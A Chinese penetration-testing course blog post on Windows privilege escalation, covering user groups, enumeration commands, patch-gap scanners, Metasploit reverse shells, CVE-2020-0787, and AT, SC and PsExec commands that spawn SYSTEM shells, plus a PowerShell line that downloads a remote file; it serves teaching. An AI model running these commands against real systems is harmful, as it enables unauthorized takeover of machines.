第59天-权限提升-Win 溢出漏洞及 AT&SC&PS 提权

切换具有SYSTEM权限的控制台或桌面 通常我们编译运行的大部分程序都是User权限的,也就是说是用户登录权限的,除非写了服务,由服务进行启动的应用程序是具备SYSTEM权限。通常来讲,SYSTEM权限会高于User权限,但部分网络情况往往又需要User权限来运行,所以掌握两者权限的获取与区分也显的较为重要。例如当你的师弟问你手动调用命令无误,前端调用失败时,你就可以告诉他,切换到system权限下进行运行调试,从而装逼成功。在windo 阅读详情

思维导图

在这里插入图片描述

知识点

#明确权限提升基础知识:权限划分
#明确权限提升环境问题: WEB 及本地
#明确权限提升方法针对:针对方法适应问题
#明确权限提升针对版本:个人及服务器版本;针对方法;
知识点必备:

  • 用户及用户组权限划分

  • Windows提权命令

用户及用户组权限划分

Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一 些权限(permissions),它们具有管理本地计算机或访问本地资源的权限。只要用户账户加入到这些本地组内,这个用户账户也将具备该组所拥有的权限。

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,**管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)**其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users) 经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者) 等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。
  真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。
  “所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限——任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。
  被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。
  但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。
  无论是普通权限还是特殊权限,它们都可以“叠加”使用,“叠加”就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

Windows命令

命令描述
systeminfo打印系统信息
whoami获得当前用户名
whoami /priv当前账户权限
ipconfig网络配置信息
ipconfig /displaydns显示DNS缓存
route print打印出路由表
arp-a打印arp表
hostname主机名
net user列出用户
net user UserName关于用户的信息
net use\SMBPATHPa$$w0rd/u:UserName连接SMB
net localgroup列出所有组
net localgroup GROUP关于指定组的信息
net view\127.0.0.1会话打开到当前计算机
net session开放给其他机器
netsh firewall show config显示防火墙配置
DRIVERQUERY列出安装的驱动
Tasklist /svc列出服务任务
net start列出启动的服务
dir/s foo在目录中搜索指定字符的项
dir/s too==bar同上
sc query列出所有服务
sc qc ServiceName找到指定服务的路径
shutdown/r/t 0立即重启
type file.txt打印出内容
Icacls “C\Example”列出权限
wmic qfe getCaption, Description,HotFixID,InstalledOn列出已安装的补丁
(NewObject System.Net.WebClient).DownloadFile(“https://host/file"/“C:\LocalPath”)利用ps远程下载文件到本地
accesschk. exe-qwsu"Group"修改对象(尝试Everyone,Authenticated Users和/或users)

演示案例:

基于 WEB 环境下的权限提升-阿里云靶机

前提
  • Windows2012、已获得web权限
信息收集

运行cmd,可以收集系统的基础信息,但权限不够不能做添加修改

使用“whoami”获得当前用户名,使用“whoami /priv”了解当前账户权限,通过“systeminfo”可以知道系统打过多少补丁,还有“ipconfig”等,可以在命令后加“> x.txt”输出命令

补丁筛选

使用“Vulmap”进行补丁筛选:下载,直接运行其中“.ps1”后缀的PowerShell脚本(打开PowerShell将脚本拖进去)

使用“Wes”进行补丁筛选:下载,在cmd执行命令“python.exe wes.py systeminfo.txt -o vuln.csv”,即对比“systeminfo”文件并将结果输出,其中“-o”是输出,可以将结果输出为“csv”“txt”等格式,输出的结果是可能存在的漏洞等,第一次使用会要求下载两个文件(漏洞数据库)

使用“WindowsVulnScan”进行补丁筛选:

下载,在cmd执行命令“python.exe WindowsVulnScan-master/cve-check.py”可以看到程序说明,使用“-u”“-U”分别更新CVE和EXP信息

将“KBCollect.ps1”放到放到对方的服务器上运行,获得“KB.json”,也可以自行复制“systeminfo”的信息并修改成其需要的格式

cmd执行“python.exe WindowsVulnScan-master/cve-check.py -C -f KB.json”,如果出现错误提示将KB.json的编码格式转换为UTF-8编码即可

利用MSF或特定EXP

EXP的使用不再赘述,这里讲MSF的使用

在实战中利用MSF,建议购买服务器,2核4G或2核2G,安装Ubuntu系统,只安装MSF;非实战kali或忍者系统就可以用Xshell远程连接MSF服务器,输入“msfconsole”启动msf,借助msf利用漏洞,反弹shell,提升权限

基于本地环境下的权限提升-系统溢出漏洞

前提

  • 已经获得计算机的普通用户权限

运行漏洞EXP将当前的用户权限提升为system

提权原因:有些工具需要足够的权限才能运行,高权限可以获得更多信息,有利于内网渗透

CVE-2020-0787 BitsArbitraryFileMoveExploit

基于本地环境下的权限提升-AT&SC&PS 命令

前提已经获得计算机的普通用户权限,较老的计算机系统,视频以Win2003为例

参考:windows权限提升——AT、SC、PS命令提权

AT

适用范围:只针对Win7及之前的系统,从Win8开始不再支持at命令。

打开cmd添加一项计划任务,在15:13打开一个cmd窗口,发现打开的窗口是system权限

at 15:13 /interactive cmd.exe	

这是一个设计上的逻辑错误。

Windows中使用命令创建计划任务(at、schtasks)

SC

适用范围:03/08、12/16

创建一个名叫“syscmd”的服务,运行它,发现得到的cmd窗口是system权限

sc Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd
PS

适用范围:适用于Win2003 & Win2008

下载微软官方的PsTools工具包,在下载的文件夹下执行下面的命令,发现得到的cmd窗口是system权限

psexec.exe -accepteula -s -i -d cmd.exe

演示案例知识点总结:

案例 1:如何判断使用哪种溢出漏洞?漏洞那里找?

权限提升流程:信息收集-补丁筛选-利用MSF或特定EXP-执行-西瓜到手

漏洞库推荐:Vulmap、Wes、WindowsVulnScan

windows-exp-suggester在17年后未更新,不再推荐

Vulmap是PowerShell脚本,使用最简单,但web提权往往只能有cmd窗口,不一定有PowerShell环境,导致该项目对Windows系统不友好。(推荐:wes windowsVulnScan)

Wes和WindowsVulnScan是python脚本(自己的环境有就行),可以不借助PowerShell操作,更适用于web提权

案例 2:如何判断使用哪种数据库提权?数据库提权利用条件?

MSF 结合云服务器搭建组合组合拳?模拟上述操作实战演练?
搭建:https://www.cnblogs.com/M0rta1s/p/11920903.html

案例 3:如何判断本地环境可利用漏洞情况?AT&SC&PS 命令适用环境?

有些漏洞可能只适应于本地环境提权,不适用于web环境提权

有些提权方法借助系统上的设计,逻辑上的问题来实现,并不总是依靠漏洞

案例给到的思路点总结如下:

1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等

涉及资源:

https://github.com/vulmon/Vulmap
https://github.com/bitsadmin/wesng
https://github.com/unamer/CVE-2018-8120
https://github.com/chroblert/WindowsVulnScan

Windows提权辅助工具

权限提升-Windows本地提权-AT+SC+PS命令-进程迁移-令牌窃取-getsystem+UAC 进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。原理:把我的进程注入到一个现有的system账号运行的进程中,这样我的进程也就具有了system账号的权限了。程序路径:Potato/source/Potato/Potato/bin/Release/Potato.exe。 阅读详情

相关推荐

操作系统权限提升(二)之常见提权的环境介绍

因为拿到目标系统的shell不同,我们的提权的方式也不同,每种提权的姿势也就不同

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 1332

2014年工作中用到的命令

1.远程mongodb访问语句

wmengbeyond的专栏 784

Syscmd系统命令工具

双击开发安装,选择一个存储快捷命令的目录即可。 该工具主要功能: 1. 提供如图所示的文件和文件夹快捷菜单 2. 在文件或文件夹上点右键选择"G创建系统命令",可以创建一个系统快捷命令,无论什么时候只要WIN+R,输入命令如“ps"即可运行photoshop等软件 3. 右键菜单中还提供直接复制路径,直接定位快捷方式对应的文件位置,直接在当前位置运行CMD命令行,直接编辑当前文件等等 4. WIN+R打开运行,输入qc list可以列出当前有哪些可用的命令,并能看到所有命令对应的程序或者文档路径 5. WIN+R打开运行,输入w加上快捷命令的名字可以直接定位该命令对应的程序或文档的位置 都是我比较喜欢的快捷方法,如果你也喜欢可以下载试试。

linux中syscmd用法,等保测评主机安全:centos访问控制(续)

一、说明权限控制在等保测评里仅仅说了要求,但是怎么落地却基本没写,怎么说呢,比较抽象。所以,我觉得还是有必要了解一下centos系统大概有什么方法可以实现对用户的权限控制,不至于测评的时候完全不知道怎么测。这里我把我现在知道的关于权限控制的方法都列举出来,供大家参考参考。这里是访问控制的上一篇文章,大家可以先看看上一篇:二、 更精细化的文件权限控制一般的,对目录和文件,可以实现创建者、所属组、其他...

weixin_39900023的博客 958

BitsArbitraryFileMove:Microsoft Windows BITS任意文件移动本地特权升级

BitsArbitraryFileMove CVE-2020-0787-Windows后台智能传输服务特权提升漏洞 有关更多信息: :

解决VMWare ESXi PCIe直通显卡导致的DevicePowerOn启动故障

本文详细解析了VMWare ESXi中PCIe直通显卡导致的DevicePowerOn启动故障,重点分析了MMIO空间不足的根本原因,并提供了完整的解决方案。通过修改.vmx文件中的关键参数,如pciPassthru.64bitMMIOSizeGB,可以有效解决显存分配问题。文章还涵盖了硬件兼容性检查、性能调优技巧及大规模部署的实战案例,帮助用户彻底解决显卡直通难题。

weixin_42537919的博客 575

59 权限提升-Win溢出漏洞及AT&SC&PS提权

1.提权方法有部分适用在不同环境,当然也有通用方法2.提权方法也有操作系统版本区分,特性决定方法利用面3.提权方法有部分需要特定环境,如数据库,第三方提权等有些漏洞它不是提权漏洞,我们得具体看待,具体分析。

山兔的博客 549

深入MoveIt与OMPL集成开发:从源码编译到自定义规划算法实战

本文详细介绍了如何从源码编译集成MoveIt与OMPL,并实现自定义规划算法的完整流程。通过清理环境、获取源码、解决编译依赖与错误,最终指导开发者创建并集成名为MyRRT的自定义规划算法,从而实现对机器人运动规划栈的深度定制与优化。

h0i1j2k3l的博客 468

Day59权限提升-win溢出漏洞AT&SC&ps提权

案列一,演示的是溢出漏洞提权,思路是先利用systeminfo进行信息收集,然后开始筛选漏洞出来,然后用特有工具或者exp,拿下西瓜。案例二,有一些提权是不适应webshell,这也是为什么本地提权比web提权大的原因,一些运行画家和数据的回显状态,成功几率就会低。有些漏洞就只适合在本地提权。案列三,有一些不是漏洞,但也能提权,有操作系统版本上的区别。是对面系统上的设计逻辑造成的问题。第三方提权。facai。

san3144393495的博客 1256

ESP32 STA AP模式下,设备连接 ESP的AP 后无法上网,无法访问域名上网(或者Failed to enable NAPT)

ESP32 STA AP模式下,设备连接 ESP的AP 后无法上网,无法访问域名上网(或者Failed to enable NAPT)1.可能是ESP STA模式未成功连接到路由器,确保 STA 成功连接到外部网络。2.检查 STA 和 AP 的网络配置是否正确,避免子网冲突。3.ESP32的NAPT功能未正确启用,确保 menuconfig 中已启用 IP_NAPT。4.DNS服务器未正确配置。

qq_34885669的博客 1539

手把手教你学 Simulink (1.3)--Simulink 的模块库及其模块介绍

Simulink 提供了丰富的模块库,涵盖了从基本的信号生成和处理到复杂的数学运算和系统建模的各种功能。通过熟悉这些模块库及其模块,你可以更高效地构建和仿真动态系统。

MHD0815的博客 5150

权限提升-windows提权补丁-溢出-AT-SC-PS提权

0x00 windows提权简介 介绍windows获取普通权限后提升至sytem或者administrator权限,针对windows系统的WEB环境以及本地环境提权方法总结 默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(BackupOperators)、文件复制组(Replicator)、来宾用户组(Guests), 身份验证用户(Ahthenticatedus

告白的博客 659

# YOLOv11改进系列 | 引入仓库自研C3k2_EIEM模块,Sobel边缘分支增强检测细节表达

文章摘要: YOLOv11-seg改进中提出的C3k2_EIEM模块通过引入边缘信息增强机制,显著提升了模型对轮廓和纹理的感知能力。该模块在保持原有C3k2结构的基础上,创新性地结合了Sobel边缘检测分支与常规卷积分支的双路特征融合。核心改进包括:(1)固定Sobel算子提供稳定的梯度响应;(2)并行处理边缘与纹理特征;(3)通过1x1卷积实现特征融合。实验显示,改进后模型参数量增加14.16%,计算量提升12.5%,但显著增强了在复杂边界场景下的分割精度。这种设计特别适用于需要精细轮廓识别的任务,如商品

qq_44224801的博客 95

权限提升 - Win 溢出漏洞及 AT&SC&PS 提权解析

Win 溢出漏洞Windows 操作系统由于其广泛的应用和复杂的代码结构,可能存在一些溢出漏洞。这些漏洞通常是由于程序在处理数据时没有正确地验证输入数据的长度或边界,导致数据溢出到相邻的内存区域。当攻击者能够利用这些漏洞时,可能会破坏系统的正常运行,甚至获取更高的权限。例如,缓冲区溢出漏洞可能允许攻击者在目标系统上执行恶意代码。AT&SC&PS 提权AT 命令在 Windows 中曾用于计划任务,攻击者可能利用 AT 命令的一些特性或漏洞来提升权限。

m0_57836225的博客 970

15、虚拟环境中的数据保护与恢复方案解析

本文深入解析了虚拟环境中两种重要的数据保护与恢复解决方案:RecoverPoint for Virtual Machines(RP4VM)在VxRail上的设计,以及Veeam Backup & Replication(VBR)与VxRail的集成方案。文章详细介绍了RP4VM的网络布局、故障转移场景及其相关问题,以及VBR的架构设计、备份与复制流程、许可证选项及其多平台支持特性。此外,还探讨了RP4VM与VBR结合使用的综合解决方案,以及未来数据保护领域的发展趋势,如智能化管理、云原生集成和零信任架构,为

t4y5u6i7o的博客 96

手把手教你在openclaw中白嫖英伟达羊毛调用GLM5/Minimax2.1/Kimi K 2.5等模型

本文介绍如何在OpenClaw中免费调用英伟达平台的GLM5、Minimax2.1和Kimi K2.5等模型。通过在openclaw.json配置文件中添加NVIDIA的API信息,设置免费模型参数(如contextWindow和maxTokens),并执行简单命令即可切换默认模型。该方法可节省token消耗成本,最后需重启gateway使配置生效。文中还提供了使用其他API平台时的配置模板。

Science prince的博客 5103

权限提升:本地权限提升.(AT || SC || PS )

权限提升简称提权,由于操作系统都是多用户操作系统,用户之间都有权限控制,比如通过 Web 漏洞拿到的是 Web 进程的权限,往往 Web 服务都是以一个权限很低的账号启动的,因此通过 Webshell 进行一些操作会受到限制,这就需要将其提升为管理甚至是 System 权限。通常通过操作系统漏洞或操作系统的错误配置进行提权,也可以通过第三方软件服务,如数据库或 FTP 等软件的漏洞进行提权。

网络安全领域___专研者. 1665

AttributeError: module ‘lib‘ has no attribute ‘X509_V_FLAG_CB_ISSUER_CHECK‘解决方案

本文主要介绍了AttributeError: module ‘lib’ has no attribute 'X509_V_FLAG_CB_ISSUER_CHECK’解决方案,希望能对使用python的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 5万+

windows提权之at&sc&ps&进程注入&令牌窃取

windows提权之at&sc&ps&进程注入&令牌窃取

m0_62207170的博客 978

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

Windows权限提升—令牌窃取、UAC提权、进程注入等提权

在之前的文章中已经对Windows的权限提升进行了介绍,这里同样不再赘述,如果想要去了解Windows权限提升可以看以下的文章,同时也将Windows权限提升其它的几种办法也放在下面的文章中。同时本来应该还写一篇第三方全家提权的,但是在实际测试过程中发现,有些第三方提权,如果在电脑上都会自动更新,比如向日葵,低版本的直接无法连接向日葵官方的服务器,那么提个毛权限的啊。Windows权限提升—溢出提权Windows权限提升—MySQL数据库提权。

剁椒鱼头没剁椒的博客 5992

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

Windows本地提权 · 上篇

Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权。

qq_61553520的博客 2446

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

日志审计(启明设备)

1.基础知识 通过分析信息系统的安全日志来检验信息系统安全机制的有效性 1.作用: 1.安全审计通过收集存储网络上所有软硬件设 备产生的日志、审计信息,根据策略进行存 储,为事后取证提供依据 2.对所收集的信息进行汇总、分析、报警,对 安全问题进行挖掘,提供各种报表,帮助管 理员更好的掌握网络情况 2.必要性 1.合规要求 2.网络安全法要求 3.等级保护要求 3.启明产品特点 2.设备介绍 1.设备接入 串口或网口后台登陆信息如下默认波特率: 9600。Eth0默认IP:10.0.0.1 后台默认账

Trave-ler 1万+

CVE-2020-0787-Windows本地提权漏洞分析

Author:剑残雪飘@深蓝攻防实验室 itm4n在Background Intelligent Transfer Service中发现了任意文件移动漏洞,这里学习一下其中的思路。 BITS 参考链接 程序员和系统管理员使用后台智能传输服务(BITS)从HTTP Web服务器和SMB文件共享下载文件或将文件上传到HTTP Web服务器和SMB文件共享。BITS将考虑传输成本以及网络使用情况,以便用户的前台工作影响尽可能小。即使重新启动后,BITS也可以处理网络中断,暂停并自动恢复传输。 这个服

xj28555的博客 3148

Windows提权之CVE-2020-0787 提权(四)

Windows提权之CVE-2020-0787 提权(四)

2303_78851087的博客 614

Windows提权之metasploit提权(六)

Windows提权之metasploit提权(六)

2303_78851087的博客 1408

权限提升-Win溢出漏洞及AT&SC&PS提权

明确权限提升基础知识:权限划分 明确权限提升环境问题:web及本地 明确权限提升方法针对:针对方法适应问题 明确权限提升针对版本:个人及服务器版本,针对方法 知识点必备: 用户及用户组权限划分;Windows 提权命令 系统命令 命令 描述 systeminfo 打印系统信息 whoami 获得当前用户名 whoami /priv 当前账户权限 ipconfig 网络配置信息 ipconfig /displaydns 显示DNS缓存 route print 打印出路.

xhscxj的博客 616
上一篇: 第58天-权限提升-网站权限后台漏洞第三方获取
下一篇: 第72天-内网安全-域横向 CS&MSF 联动及应急响应初
IsecNoob
博客等级 码龄6年 207粉丝 90原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值